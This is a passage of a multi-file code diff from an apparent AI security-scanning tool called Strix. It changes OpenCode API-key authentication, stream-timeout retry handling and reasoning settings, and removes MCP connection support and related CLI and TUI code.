(ZEN_PREFIX, ZEN_BASE_URL, PLAN_ZEN),
):
if lowered.startswith(prefix):
slug = name[len(prefix) :]
if not slug:
return None
return SubscriptionModel(slug, base_url, _protocol(slug, base_url), plan)
return None
def read_record() -> dict[str, Any] | None:
record = codex.read_provider_record(PROVIDER)
if not isinstance(record, dict) or record.get("type") != "api_key":
return None
key = record.get("key")
if not isinstance(key, str) or not key:
return None
return record
def is_authenticated() -> bool:
return read_record() is not None
def save_api_key(key: str) -> None:
codex.save_provider_record(PROVIDER, {"type": "api_key", "provider": PROVIDER, "key": key})
def logout() -> None:
codex.remove_provider_record(PROVIDER)
def get_api_key() -> str:
record = read_record()
if record is None:
raise OpencodeAuthError(
"not_authenticated", "not signed in; run: strix auth login opencode"
)
return str(record["key"])
def validate_api_key(key: str) -> None:
"""Check the key against the gateway's models endpoint; raise if rejected."""
try:
response = requests.get(
f"{ZEN_BASE_URL}/models",
headers={"Authorization": f"Bearer {key}"},
timeout=_KEY_CHECK_TIMEOUT,
)
except requests.RequestException as exc:
raise OpencodeAuthError("unavailable", str(exc)) from exc
if response.status_code in (401, 403):
raise OpencodeAuthError(
"invalid_key", f"OpenCode rejected the API key (HTTP {response.status_code})"
)
if response.status_code >= 400:
raise OpencodeAuthError("http_error", f"HTTP {response.status_code}: {response.text[:300]}")
def build_openai_client(base_url: str) -> AsyncOpenAI:
import httpx
from openai import AsyncOpenAI
return AsyncOpenAI(
api_key=get_api_key(),
base_url=base_url,
http_client=httpx.AsyncClient(timeout=httpx.Timeout(600.0, connect=30.0)),
)
_subscription_clients: dict[str, AsyncOpenAI] = {}
def get_subscription_client(base_url: str) -> AsyncOpenAI:
client = _subscription_clients.get(base_url)
if client is None:
client = build_openai_client(base_url)
_subscription_clients[base_url] = client
return client
def auth_mode(model_name: str | None) -> str:
"""Return "subscription" when STRIX_LLM runs on any subscription
(OpenCode or ChatGPT), else "api_key"."""
if subscription_model(model_name) or codex.subscription_model(model_name):
return "subscription"
return "api_key"
def subscription_plan(model_name: str | None) -> str | None:
"""Which OpenCode plan STRIX_LLM runs on: "zen", "go", or None.
Recorded alongside ``subscription_provider`` rather than folded into it, so
consumers that compare the provider against "opencode" keep working.
"""
oc = subscription_model(model_name)
return oc.plan if oc else None
def subscription_provider(model_name: str | None) -> str | None:
"""The subscription behind STRIX_LLM: "opencode", "chatgpt", or None."""
if subscription_model(model_name):
return PROVIDER
if codex.subscription_model(model_name):
return "chatgpt"
return None

View File

@@ -58,6 +58,12 @@ class LlmSettings(BaseSettings):
)
timeout: int = Field(default=300, alias="LLM_TIMEOUT")
stream_idle_timeout: int = Field(default=300, ge=0, alias="LLM_STREAM_IDLE_TIMEOUT")
# Time allowed for the first stream event (0 = use stream_idle_timeout).
stream_first_event_timeout: int = Field(
default=0,
ge=0,
alias="LLM_STREAM_FIRST_EVENT_TIMEOUT",
)
max_tool_calls_per_turn: int = Field(
default=32,
ge=0,

View File

@@ -291,12 +291,6 @@ class AgentCoordinator:
self.pending_counts[target_agent_id] = self.pending_counts.get(target_agent_id, 0) + 1
if from_user:
runtime.user_wake_required = False
self.errors.pop(target_agent_id, None)
self.wait_kinds.pop(target_agent_id, None)
self.recovery_counts.pop(target_agent_id, None)
self.idle_resume_counts.pop(target_agent_id, None)
self._parent_notified.discard(target_agent_id)
self.statuses[target_agent_id] = "waiting"
runtime.wake.set()
stream = runtime.stream
interrupt_on_message = runtime.interrupt_on_message

View File

@@ -20,6 +20,7 @@ from openai import (
)
from strix.config import codex
from strix.config.models import ModelStreamTimeoutError
from strix.core.hooks import (
BudgetExceededError,
BudgetPausedError,
@@ -120,6 +121,7 @@ async def _compact_session(
_MAX_TRANSIENT_MODEL_RETRIES = 5
_MAX_STREAM_TIMEOUT_RETRIES = 2
_TRANSIENT_MODEL_RETRY_BASE_DELAY_S = 2.0
_TRANSIENT_MODEL_RETRY_MAX_DELAY_S = 90.0
@@ -657,6 +659,7 @@ async def _run_cycle( # noqa: PLR0912, PLR0915
image_strips = 0
compactions = 0
model_retries = 0
stream_timeout_retries = 0
while True:
stream: Any = None
pre_run_items: list[Any] = []
@@ -771,15 +774,27 @@ async def _run_cycle( # noqa: PLR0912, PLR0915
)
input_data = []
continue
if model_retries < _MAX_TRANSIENT_MODEL_RETRIES and _is_transient_model_error(exc):
model_retries += 1
delay = _transient_model_retry_delay(model_retries)
is_stream_timeout = isinstance(exc, ModelStreamTimeoutError)
if is_stream_timeout:
retry_count = stream_timeout_retries
retry_limit = _MAX_STREAM_TIMEOUT_RETRIES
else:
retry_count = model_retries
retry_limit = _MAX_TRANSIENT_MODEL_RETRIES
stream_timeout_retries = 0
if retry_count < retry_limit and (is_stream_timeout or _is_transient_model_error(exc)):
retry_count += 1
if is_stream_timeout:
stream_timeout_retries = retry_count
else:
model_retries = retry_count
delay = _transient_model_retry_delay(retry_count)
logger.warning(
"transient model/provider error for %s; replaying turn "
"(attempt %d/%d, backoff %.1fs): %r",
agent_id,
model_retries,
_MAX_TRANSIENT_MODEL_RETRIES,
retry_count,
retry_limit,
delay,
exc,
)

View File

@@ -8,7 +8,6 @@ from typing import TYPE_CHECKING, Any
from agents.model_settings import ModelSettings
from openai.types.shared import Reasoning
from strix.config import opencode
from strix.config.models import (
DEFAULT_MODEL_RETRY,
OPENROUTER_ATTRIBUTION_HEADERS,
@@ -19,7 +18,6 @@ from strix.config.models import (
is_openrouter_model,
model_supports_reasoning,
request_timeout_extra_args,
routes_through_litellm,
)
from strix.core.sessions import scrub_images_from_items
@@ -269,7 +267,7 @@ def make_model_settings(
and model_supports_reasoning(model_name)
):
model_settings = model_settings.resolve(
_reasoning_settings(reasoning_effort),
_reasoning_settings(reasoning_effort, model_settings.extra_args),
)
if force_required_tool_choice and _accepts_required_tool_choice(model_name):
model_settings = model_settings.resolve(ModelSettings(tool_choice="required"))
@@ -295,19 +293,20 @@ def _request_headers(
return headers or None
def _reasoning_settings(effort: ReasoningEffort) -> ModelSettings:
def _reasoning_settings(
effort: ReasoningEffort,
extra_args: dict[str, Any] | None,
) -> ModelSettings:
"""``max`` is not in the OpenAI SDK's ``Reasoning.effort`` enum, so send it as
a raw body field instead — also keeping it clear of LiteLLM's DeepSeek mapping,
which collapses every ``reasoning_effort`` level to plain thinking-enabled.
Providers that don't support ``max`` reject the request.
It goes in ``extra_body``, the field every model implementation forwards as the
request's ``extra_body``; the same value under ``extra_args`` collides with that
keyword and raises before a request is ever sent.
"""
if effort != "max":
return ModelSettings(reasoning=Reasoning(effort=effort))
return ModelSettings(extra_body={"reasoning_effort": "max"})
return ModelSettings(
extra_args={**(extra_args or {}), "extra_body": {"reasoning_effort": "max"}},
)
def _prompt_cache_extra_args(model_name: str) -> dict[str, Any] | None:
@@ -318,20 +317,8 @@ def _prompt_cache_extra_args(model_name: str) -> dict[str, Any] | None:
it — elsewhere it leaks onto the wire and native Anthropic 400s). Unmapped
Bedrock models get no points at all: Bedrock rejects the passed-through
field outright.
The field is LiteLLM's own, consumed by its transform, so it only goes to
routes LiteLLM serves. A bare ``claude-...`` name is served by the SDK's
OpenAI client instead (a gateway in front of Claude), and that client raises
``TypeError`` on request kwargs it does not know.
"""
if not is_claude_model(model_name) or not routes_through_litellm(model_name):
return None
# OpenCode's Chat Completions and Responses routes use the raw OpenAI SDK,
# which rejects this LiteLLM-only argument. Its Anthropic route does go
# through LiteLLM, so the injection points apply there as they would for a
# direct Anthropic key.
oc = opencode.subscription_model(model_name)
if oc is not None and oc.protocol != opencode.PROTOCOL_MESSAGES:
if not is_claude_model(model_name):
return None
if is_bedrock_route(model_name) and not bedrock_route_supports_prompt_caching(model_name):
return None

View File

@@ -57,79 +57,12 @@ if TYPE_CHECKING:
from agents.result import RunResultBase
from strix.runtime.status import StatusSink
from strix.tools.mcp import (
ConnectedMcpServer,
McpConnectionRequest,
McpRegistry,
SupervisedMcpSession,
)
logger = logging.getLogger(__name__)
StreamEventSink = Callable[[str, Any], None]
# Receives the run's MCP connection roster as a list of non-secret status dicts
# ({"name", "provider", "tool_count", "dead"}), once when the connections are
# established and again each time a connection transitions to dead. An interface
# can persist it, render it, or forward it on as connection status. Kept as a
# snapshot of the whole roster (not a per-
# connection delta) so every call carries a consistent, current picture.
McpStatusSink = Callable[[list[dict[str, Any]]], None]
def _mcp_roster_payload(registry: McpRegistry) -> list[dict[str, Any]]:
"""The run's MCP roster as non-secret status dicts (name/provider/tool_count/dead)."""
return [
{
"name": status.name,
"provider": status.provider,
"tool_count": status.tool_count,
"dead": status.dead,
}
for status in registry.statuses()
]
def _mcp_startup_summary(connections: list[ConnectedMcpServer]) -> str:
"""One user-facing line summarizing the MCP servers that connected."""
server_count = len(connections)
tool_count = sum(c.tool_count for c in connections)
servers_word = "server" if server_count == 1 else "servers"
tools_word = "tool" if tool_count == 1 else "tools"
names = ", ".join(c.name for c in connections)
return f"MCP: connected {server_count} {servers_word} ({tool_count} {tools_word}): {names}"
def _record_mcp_connections(connections: list[ConnectedMcpServer]) -> None:
"""Record which MCP servers this run connected, for the interfaces.
A server's tools are offered to the model under a name built from the
connection name and the tool's own name, which cannot be split back apart, so
the TUI and the run viewer need the names to match a tool call against before
they can show which server it went out to. Kept on the run record because the
viewer reads a finished run from disk.
"""
report_state = get_global_report_state()
if report_state is None:
return
report_state.record_mcp_connections([connection.name for connection in connections])
def _persist_mcp_status(roster: list[dict[str, Any]]) -> None:
"""Write the run's non-secret MCP connection status roster to run.json.
The viewer rebuilds its display by re-reading the run's files from disk, so
it cannot see the in-memory ``mcp_status_sink`` the TUI consumes. Persisting
the same non-secret roster (name / provider / tool_count / dead) gives the
viewer a source it can poll. Runs regardless of whether an interface sink is
attached, so the standalone / non-TUI CLI path records health too.
"""
report_state = get_global_report_state()
if report_state is None:
return
report_state.record_mcp_connection_status(roster)
def _merge_root_prompt_context(
scope_context: dict[str, Any],
@@ -196,8 +129,6 @@ async def run_strix_scan(
root_instructions_override: str | None = None,
extra_system_prompt_context: dict[str, Any] | None = None,
status_sink: StatusSink | None = None,
mcp_connection_requests: list[McpConnectionRequest] | None = None,
mcp_status_sink: McpStatusSink | None = None,
) -> RunResultBase | None:
"""Run or resume one Strix scan against a sandbox.
@@ -209,11 +140,6 @@ async def run_strix_scan(
``extra_system_prompt_context`` is merged into the root agent's scan
context before prompt rendering. Child agents keep the standard scan prompt
and context.
``mcp_connection_requests`` supplies the run's MCP connections from any
source: when given, the engine connects those requests; when ``None`` (the
command-line default) it reads ``~/.strix/mcp-servers.json`` itself. Either
way the engine does the connecting, so the caller passes inert configs plus
metadata and never live sessions.
"""
def report(phase: str) -> None:
@@ -263,13 +189,11 @@ async def run_strix_scan(
from strix.tools.coverage.tools import hydrate_coverage_from_disk
from strix.tools.notes.tools import hydrate_notes_from_disk
from strix.tools.threat_model.tools import hydrate_threat_models_from_disk
from strix.tools.todo.tools import hydrate_todos_from_disk
hydrate_todos_from_disk(state_dir)
hydrate_notes_from_disk(state_dir)
hydrate_coverage_from_disk(state_dir)
hydrate_threat_models_from_disk(state_dir)
root_id: str | None = None
if is_resume:
@@ -338,7 +262,6 @@ async def run_strix_scan(
configure_spill_writer(_spill_to_workspace)
sessions_to_close: list[SQLiteSession] = []
mcp_sessions: list[SupervisedMcpSession] = []
try:
targets = scan_config.get("targets") or []
@@ -376,86 +299,6 @@ async def run_strix_scan(
coordinator.set_budget_extender(hooks.extend_budget)
scope_context = build_scope_context(scan_config)
# Attach the run's MCP connections and hold their live sessions in a
# per-run registry. The connections are source-agnostic: a caller
# (the SaaS/pro product) can supply them as mcp_connection_requests, and
# when it does not the command-line path reads them from
# ~/.strix/mcp-servers.json here. Either way one shared engine routine
# does the connecting and populating. Nothing is registered as an agent
# tool: every agent reaches these connections on demand through the
# list_mcps / describe_mcp / call_mcp tools, guided by brief static prompt
# guidance when any connection exists. Fail-open: a missing config, or a
# server that will not connect, must never break a run.
from strix.tools.mcp import (
McpConnectionRequest,
McpRegistry,
attach_mcp_requests,
load_user_mcp_configs,
)
mcp_registry = McpRegistry()
try:
if mcp_connection_requests is None:
# Command-line default: read the user's file and wrap each config
# in a bare request (no provider or transform), so this path is
# exactly the old behavior.
mcp_requests = [
McpConnectionRequest(config=config) for config in load_user_mcp_configs()
]
else:
mcp_requests = mcp_connection_requests
if mcp_requests:
connections = await attach_mcp_requests(mcp_requests, mcp_registry)
mcp_sessions = [c.session for c in connections]
# Recorded even when nothing connected, so a resumed run does not
# keep attributing tool calls to servers it no longer has.
_record_mcp_connections(connections)
if connections:
report(_mcp_startup_summary(connections))
# Name the connected servers in the prompt so every agent
# (root and children, both deriving from scope_context) sees
# what is available at the start; they can still re-list or
# inspect them at run time via list_mcps / describe_mcp. Set
# only when a connection exists, so a run with no MCP leaves
# the prompt context unchanged.
scope_context["mcp_available"] = bool(mcp_registry)
scope_context["mcp_connections"] = [
{
"name": summary.name,
"purpose": summary.purpose,
"tool_count": summary.tool_count,
}
for summary in mcp_registry.summaries()
]
# Feed a non-secret connection roster (name / provider /
# tool_count / dead) to two consumers: once now (all
# currently healthy) and again whenever a connection later
# dies. It is always persisted to run.json so the viewer,
# which re-reads the run's files from disk, can render the
# MCP connections panel and health without an in-memory
# sink. When an interface sink is attached (the TUI backend,
# or pro forwarding into the app's event stream) it also
# receives the same snapshot. In-use is derived separately by
# each interface from the connection-tagged tool-call events,
# so it is not carried here.
def _emit_mcp_status() -> None:
roster = _mcp_roster_payload(mcp_registry)
_persist_mcp_status(roster)
if mcp_status_sink is not None:
try:
mcp_status_sink(roster)
except Exception:
logger.exception("MCP status sink failed")
for connection_name in mcp_registry.names():
entry = mcp_registry.get(connection_name)
if entry is not None:
entry.session.set_on_dead(_emit_mcp_status)
_emit_mcp_status()
except Exception:
logger.exception("Failed to connect user MCP servers; continuing without them")
root_context = _merge_root_prompt_context(scope_context, extra_system_prompt_context)
root_instructions = _compose_root_instructions_override(
root_instructions_override,
@@ -518,7 +361,6 @@ async def run_strix_scan(
"coordinator": coordinator,
"sandbox_session": bundle["session"],
"caido_client": bundle["caido_client"],
"mcp_registry": mcp_registry,
"agent_id": root_id,
"parent_id": None,
"interactive": interactive,
@@ -647,9 +489,6 @@ async def run_strix_scan(
for s in sessions_to_close:
with contextlib.suppress(Exception):
s.close()
for mcp_session in mcp_sessions:
with contextlib.suppress(Exception):
await mcp_session.aclose()
with contextlib.suppress(Exception):
await coordinator._maybe_snapshot()
if cleanup_on_exit:

View File

@@ -1,9 +1,8 @@
"""`strix auth` — subscription sign-in (login / status / logout).
"""`strix auth` — ChatGPT subscription sign-in (login / status / logout).
Signing in only stores credentials (``~/.strix/subscription-auth.json``); model
Signing in only stores OAuth tokens (``~/.strix/subscription-auth.json``); model
selection stays with ``STRIX_LLM``. A ``chatgpt/<model>`` STRIX_LLM runs on the
ChatGPT subscription; ``opencode/<model>`` (Zen credits) or
``opencode-go/<model>`` (Go subscription) run on OpenCode.
subscription.
"""
from __future__ import annotations
@@ -22,7 +21,7 @@ from rich.console import Console
from rich.panel import Panel
from rich.text import Text
from strix.config import codex, load_settings, opencode
from strix.config import codex, load_settings
if TYPE_CHECKING:
@@ -33,20 +32,13 @@ logger = logging.getLogger(__name__)
_CALLBACK_TIMEOUT_S = 300
# CLI-facing name for the default login provider. Internally this is the Codex
# OAuth flow (``codex.PROVIDER``), but users know it as ChatGPT, so that's what
# the command and messaging say. ``codex`` is accepted as an alias.
# CLI-facing name for the login provider. Internally this is the Codex OAuth
# flow (``codex.PROVIDER``), but users know it as ChatGPT, so that's what the
# command and messaging say. ``codex`` is accepted as an alias.
LOGIN_PROVIDER = "chatgpt"
_ACCEPTED_PROVIDERS = frozenset({LOGIN_PROVIDER, codex.PROVIDER})
_OPENCODE_PROVIDERS = frozenset({opencode.PROVIDER, "opencode-go", "zen"})
_USAGE = (
"Usage:\n"
" strix auth login chatgpt [--manual]\n"
" strix auth login opencode\n"
" strix auth status\n"
" strix auth logout [chatgpt|opencode]"
)
_USAGE = "Usage:\n strix auth login chatgpt [--manual]\n strix auth status\n strix auth logout"
def run_auth(argv: list[str]) -> int:
@@ -63,7 +55,7 @@ def run_auth(argv: list[str]) -> int:
handlers: dict[str, Callable[[], int]] = {
"login": lambda: _login(console, rest),
"status": lambda: _status(console),
"logout": lambda: _logout(console, rest),
"logout": lambda: _logout(console),
}
handler = handlers.get(subcommand)
if handler is not None:
@@ -92,14 +84,10 @@ def _login(console: Console, argv: list[str]) -> int:
except SystemExit as exc: # argparse already printed the message
return int(exc.code or 2)
if args.provider.lower() in _OPENCODE_PROVIDERS:
return _login_opencode(console)
if args.provider.lower() not in _ACCEPTED_PROVIDERS:
console.print(
f"[red]Unsupported provider:[/] {args.provider}. "
f"Supported: '{LOGIN_PROVIDER}' (ChatGPT subscription) and "
f"'{opencode.PROVIDER}' (OpenCode Zen/Go)."
f"Only '{LOGIN_PROVIDER}' (ChatGPT subscription) is supported."
)
return 2
@@ -127,63 +115,6 @@ def _login(console: Console, argv: list[str]) -> int:
return 0
def _login_opencode(console: Console) -> int:
console.print()
console.print("[bold]Signing in with OpenCode[/] [dim](provider: opencode)[/]")
console.print(
"[dim]This uses your OpenCode Zen credits or Go subscription for inference.\n"
f"Get your API key at {opencode.AUTH_CONSOLE_URL}[/]"
)
console.print()
try:
key = console.input("Paste your OpenCode API key: ", password=True).strip()
except (EOFError, KeyboardInterrupt):
console.print("\n[yellow]Sign-in cancelled.[/]")
return 130
if not key:
console.print("[red]No API key provided.[/]")
return 2
try:
opencode.validate_api_key(key)
except opencode.OpencodeAuthError as exc:
console.print(f"[red]SIGN-IN FAILED:[/] {exc}")
return 1
opencode.save_api_key(key)
_print_opencode_success(console)
return 0
def _print_opencode_success(console: Console) -> None:
text = Text()
text.append("Signed in with your OpenCode account", style="bold #22c55e")
text.append("\n\n", style="white")
text.append("Set ", style="white")
text.append("STRIX_LLM", style="bold white")
text.append(" to an ", style="white")
text.append("opencode/", style="bold cyan")
text.append(" model (e.g. ", style="white")
text.append("opencode/claude-sonnet-5", style="bold cyan")
text.append(") to run on Zen credits, or ", style="white")
text.append("opencode-go/", style="bold cyan")
text.append(" (e.g. ", style="white")
text.append("opencode-go/kimi-k3", style="bold cyan")
text.append(") to run on the Go subscription.", style="white")
text.append("\n\n", style="white")
text.append("Run a scan as usual, e.g. ", style="white")
text.append("strix --target https://example.com", style="bold cyan")
console.print()
console.print(
Panel(
text,
title="[bold white]STRIX",
title_align="left",
border_style="#22c55e",
padding=(1, 2),
)
)
console.print()
def _run_oauth_flow(
console: Console,
authorize_url: str,
@@ -313,41 +244,24 @@ def _first(query: dict[str, list[str]], key: str) -> str | None:
def _status(console: Console) -> int:
record = codex.read_record()
opencode_signed_in = opencode.is_authenticated()
if record is None and not opencode_signed_in:
console.print(
"[yellow]Not signed in.[/] Run [cyan]strix auth login chatgpt[/] or "
"[cyan]strix auth login opencode[/] to sign in."
)
if record is None:
console.print("[yellow]Not signed in.[/] Run [cyan]strix auth login chatgpt[/] to sign in.")
return 1
settings = load_settings()
if record is not None:
console.print("[green]Signed in[/] with a ChatGPT subscription.")
console.print(f" Account: [bold]{record.get('account_id')}[/]")
if opencode_signed_in:
console.print("[green]Signed in[/] with an OpenCode account.")
if codex.subscription_model(settings.llm.model) or opencode.subscription_model(
settings.llm.model
):
console.print("[green]Signed in[/] with a ChatGPT subscription.")
console.print(f" Account: [bold]{record.get('account_id')}[/]")
if codex.subscription_model(settings.llm.model):
console.print(f" Runs use the subscription (STRIX_LLM=[bold]{settings.llm.model}[/]).")
else:
console.print(
" [yellow]Note:[/] set [cyan]STRIX_LLM[/] to e.g. [cyan]chatgpt/gpt-5.4[/] or "
"[cyan]opencode/claude-sonnet-5[/] to run on a subscription."
" [yellow]Note:[/] set [cyan]STRIX_LLM[/] to e.g. [cyan]chatgpt/gpt-5.4[/] "
"to run on the subscription."
)
return 0
def _logout(console: Console, argv: list[str] | None = None) -> int:
target = (argv[0].lower() if argv else "") or "all"
if target in _ACCEPTED_PROVIDERS or target == "all":
codex.logout()
if target in _OPENCODE_PROVIDERS or target == "all":
opencode.logout()
if target != "all" and target not in _ACCEPTED_PROVIDERS | _OPENCODE_PROVIDERS:
console.print(f"[red]Unknown provider:[/] {target}\n")
console.print(_USAGE)
return 2
def _logout(console: Console) -> int:
codex.logout()
console.print("[green]Signed out.[/] Stored subscription credentials removed.")
return 0

View File

@@ -3,7 +3,6 @@
from __future__ import annotations
import argparse
import os
import sys
from pathlib import Path
@@ -220,30 +219,6 @@ Examples:
help="Path to a custom config file (JSON) to use instead of ~/.strix/cli-config.json",
)
parser.add_argument(
"--mcp-config",
type=str,
metavar="PATH",
help="Path to an MCP servers JSON file to use instead of ~/.strix/mcp-servers.json.",
)
parser.add_argument(
"--mcp-server",
dest="mcp_server",
action="append",
metavar="NAME",
help="Use only this MCP connection for the run, by its config name "
"(repeatable). Every other configured connection is skipped.",
)
parser.add_argument(
"--mcp-exclude",
dest="mcp_exclude",
action="append",
metavar="NAME",
help="Skip this MCP connection for the run, by its config name (repeatable).",
)
parser.add_argument(
"--max-budget",
"--max-budget-usd",
@@ -292,20 +267,6 @@ Examples:
if args.config:
apply_config_override(validate_config_file(args.config))
if args.mcp_config:
mcp_config_path = Path(args.mcp_config).expanduser()
if not mcp_config_path.is_file():
parser.error(f"--mcp-config file not found: {args.mcp_config}")
# The MCP loader reads this env var as its config-path override, so
# setting it here makes the flag win over the default location.
os.environ["STRIX_MCP_CONFIG"] = str(mcp_config_path)
# The MCP loader reads these as its per-run include/exclude selection.
if args.mcp_server:
os.environ["STRIX_MCP_ONLY"] = ",".join(args.mcp_server)
if args.mcp_exclude:
os.environ["STRIX_MCP_EXCLUDE"] = ",".join(args.mcp_exclude)
if args.update:
sys.exit(0 if self_update() else 1)

View File

@@ -8,7 +8,7 @@ from rich.console import Console
from rich.panel import Panel
from rich.text import Text
from strix.config import codex, load_settings, opencode
from strix.config import codex, load_settings
from strix.interface.utils import (
check_docker_connection,
image_exists,
@@ -37,17 +37,6 @@ def validate_environment() -> None:
logger.info("Environment OK (ChatGPT subscription)")
return
oc = opencode.subscription_model(settings.llm.model)
if oc:
if not opencode.is_authenticated():
console.print(
f"[red]STRIX_LLM={settings.llm.model} runs on {oc.label}, "
"but you're not signed in.[/] Run [cyan]strix auth login opencode[/] first."
)
sys.exit(1)
logger.info("Environment OK (%s)", oc.label)
return
if not settings.llm.model:
missing_required_vars.append("STRIX_LLM")

View File

@@ -6,6 +6,7 @@ Strix Agent Interface
import argparse
import asyncio
import contextlib
import os
import sys
from pathlib import Path
@@ -13,7 +14,7 @@ from rich.console import Console
from rich.panel import Panel
from rich.text import Text
from strix.config import codex, load_settings, opencode, persist_current
from strix.config import codex, load_settings, persist_current
from strix.core.paths import run_dir_for
from strix.interface.cli_args import parse_arguments
from strix.interface.environment import (
@@ -35,7 +36,6 @@ from strix.interface.update_check import (
is_binary_install,
notify_update,
prompt_update_if_available,
restart_after_update,
start_background_check,
)
from strix.interface.utils import (
@@ -104,14 +104,8 @@ def _provider_import_hint(exc: BaseException, model: str) -> str | None:
def _subscription_error_hint(exc: BaseException) -> str | None:
"""Return an actionable hint for a known subscription error, or None."""
model = load_settings().llm.model
if opencode.subscription_model(model):
joined = " ".join(_exception_messages(exc)).lower()
if "error code: 401" in joined or "http 401" in joined or "unauthorized" in joined:
return "Your OpenCode API key was rejected. Sign in again:\n strix auth login opencode"
return None
if not codex.subscription_model(model):
"""Return an actionable hint for a known ChatGPT-subscription error, or None."""
if not codex.subscription_model(load_settings().llm.model):
return None
joined = " ".join(_exception_messages(exc)).lower()
if "not supported when using codex with a chatgpt account" in joined:
@@ -133,10 +127,12 @@ def _subscription_error_hint(exc: BaseException) -> str | None:
async def warm_up_llm(show_model_warning: bool = True) -> None:
from agents.model_settings import ModelSettings
from agents.models.interface import ModelTracing
from strix.config.models import (
RECOMMENDED_MODEL_NAMES,
StrixProvider,
configure_sdk_model_defaults,
is_known_openai_bare_model,
is_recommended_or_frontier_model,
@@ -213,11 +209,12 @@ async def warm_up_llm(show_model_warning: bool = True) -> None:
logger.info("LLM warm-up succeeded for model %s", (llm.model or "").strip())
if settings.dedupe.model:
from strix.report.dedupe import resolve_dedupe_model
from strix.report.dedupe import _dedupe_extra_args
dedupe_model = settings.dedupe.model.strip()
raw_model = dedupe_model
deduper = resolve_dedupe_model(settings.dedupe, dedupe_model)
deduper = StrixProvider().get_model(dedupe_model)
deduper_extra = _dedupe_extra_args(settings.dedupe)
# A dedicated dedupe model may route to another provider, which must
# never receive the main endpoint's headers; it has its own
# DEDUPE_LLM_EXTRA_HEADERS.
@@ -229,6 +226,9 @@ async def warm_up_llm(show_model_warning: bool = True) -> None:
extra_headers=settings.dedupe.extra_headers,
has_tools=False,
)
if deduper_extra:
merged = {**(deduper_settings.extra_args or {}), **deduper_extra}
deduper_settings = deduper_settings.resolve(ModelSettings(extra_args=merged))
await asyncio.wait_for(
deduper.get_response(
system_instructions="You are a helpful assistant.",
@@ -440,7 +440,7 @@ def main() -> None:
start_background_check()
if not args.non_interactive and prompt_update_if_available(Console()):
if is_binary_install() and sys.platform != "win32":
restart_after_update()
os.execv(sys.executable, sys.argv) # noqa: S606 # nosec B606
sys.exit(0)
check_docker_installed()

View File

@@ -14,7 +14,7 @@ import logging
from datetime import UTC, datetime
from typing import TYPE_CHECKING, Any
from strix.config import Settings, load_settings, opencode
from strix.config import Settings, codex, load_settings
from strix.core.paths import run_dir_for
from strix.interface.utils import (
assign_workspace_subdirs,
@@ -226,7 +226,7 @@ def telemetry_start(args: argparse.Namespace) -> None:
model = load_settings().llm.model
kwargs = {
"model": model,
"auth_mode": opencode.auth_mode(model),
"auth_mode": codex.auth_mode(model),
"scan_mode": args.scan_mode,
"is_whitebox": is_whitebox_scan(args.targets_info),
"interactive": not args.non_interactive,
@@ -247,8 +247,7 @@ def _persist_run_record(args: argparse.Namespace) -> None:
"status": "running",
"start_time": datetime.now(UTC).isoformat(),
"end_time": None,
"auth_mode": opencode.auth_mode(load_settings().llm.model),
"subscription_provider": opencode.subscription_provider(load_settings().llm.model),
"auth_mode": codex.auth_mode(load_settings().llm.model),
"targets_info": args.targets_info,
"scan_mode": args.scan_mode,
"instruction": args.instruction,

View File

@@ -24,7 +24,7 @@ from strix.interface.tui.backend.projection import (
sanitize_terminal_text,
terminal_projection,
)
from strix.interface.utils import is_subscription_run, subscription_label
from strix.interface.utils import is_subscription_run
if TYPE_CHECKING:
@@ -103,11 +103,6 @@ class TuiController:
self.messages: list[dict[str, str]] = []
self._next_message_id = 1
self.error: str | None = None
# The run's MCP connection roster (name / tool_count / dead), pushed by
# the engine via the mcp_status_sink once the connections are established
# and again each time one dies. Empty for a run with no MCP connections,
# so the Go sidebar simply omits the panel. Non-secret by construction.
self.mcp_connections: list[dict[str, Any]] = []
self.viewer_status = "idle"
self.viewer_url: str | None = None
self._viewer_httpd: Any = None
@@ -133,24 +128,6 @@ class TuiController:
if scan_loop is not None:
self.scan_loop = scan_loop
def set_mcp_connections(self, roster: list[dict[str, Any]]) -> None:
"""Store the run's MCP connection roster and repaint.
``roster`` is the engine's non-secret status snapshot: one entry per
connection carrying ``name``, ``tool_count``, and ``dead``. Called once
when the connections are established (all healthy) and again whenever a
connection dies (the same whole-roster snapshot, with that one now dead)."""
self.mcp_connections = [
{
"name": str(entry.get("name", "")),
"tool_count": int(entry.get("tool_count", 0) or 0),
"dead": bool(entry.get("dead", False)),
}
for entry in roster
if isinstance(entry, dict) and entry.get("name")
]
self.notify_changed()
def begin_preparation(self) -> None:
"""Mark a directly-launched run as preparing behind the live TUI."""
self.scan_state = "preparing"
@@ -187,10 +164,6 @@ class TuiController:
subscription = False
with contextlib.suppress(Exception):
subscription = is_subscription_run(self.report_state)
label = ""
if subscription:
with contextlib.suppress(Exception):
label = subscription_label()
model_warning = ""
if model and not is_recommended_or_frontier_model(model):
model_warning = (
@@ -227,15 +200,6 @@ class TuiController:
],
"usage": terminal_projection(usage, max_string=256, max_items=20),
"subscription": subscription,
"subscription_label": label,
"connections": [
{
"name": terminal_projection(entry["name"], max_string=64),
"tool_count": entry["tool_count"],
"dead": entry["dead"],
}
for entry in self.mcp_connections[:32]
],
"viewer_status": self.viewer_status,
"viewer_url": terminal_projection(self.viewer_url, max_string=1024),
"error": terminal_projection(self.error, max_string=2 * 1024),
@@ -416,7 +380,6 @@ class TuiController:
delivered = await asyncio.wrap_future(future)
if not delivered:
raise RuntimeError("Message could not be delivered")
self.live_view.upsert_agent(agent_id, status="waiting", error_message=None)
return {"sent": True}
async def _stop_agent(self, payload: dict[str, Any]) -> dict[str, Any]:

View File

@@ -60,9 +60,6 @@ class TuiLiveView(BaseLiveView):
if error_message and current.get("error_message") != error_message:
current["error_message"] = error_message
changed = True
elif error_message is None and "error_message" in current:
current.pop("error_message", None)
changed = True
if changed:
current["updated_at"] = now
return changed

View File

@@ -164,21 +164,19 @@ def bounded_state_projection(state: dict[str, Any]) -> dict[str, Any]:
"scan_state": state["scan_state"],
"targets": state["targets"][:4],
"target_count": state["target_count"],
"working_dir": terminal_projection(state.get("working_dir", ""), max_string=256),
"pending_mount": terminal_projection(state.get("pending_mount", ""), max_string=256),
"instruction": terminal_projection(state["instruction"], max_string=128),
"scan_mode": state["scan_mode"],
"max_budget_usd": state["max_budget_usd"],
"max_turns": state["max_turns"],
"scope_mode": state["scope_mode"],
"diff_base": state["diff_base"],
"provider": state["provider"],
"model": state["model"],
"model_warning": "",
"caido_url": None,
"messages": [],
"usage": state["usage"],
"subscription": state["subscription"],
"connections": state.get("connections", [])[:32],
"viewer_status": state["viewer_status"],
"viewer_url": None,
"error": terminal_projection(state["error"], max_string=256),

View File

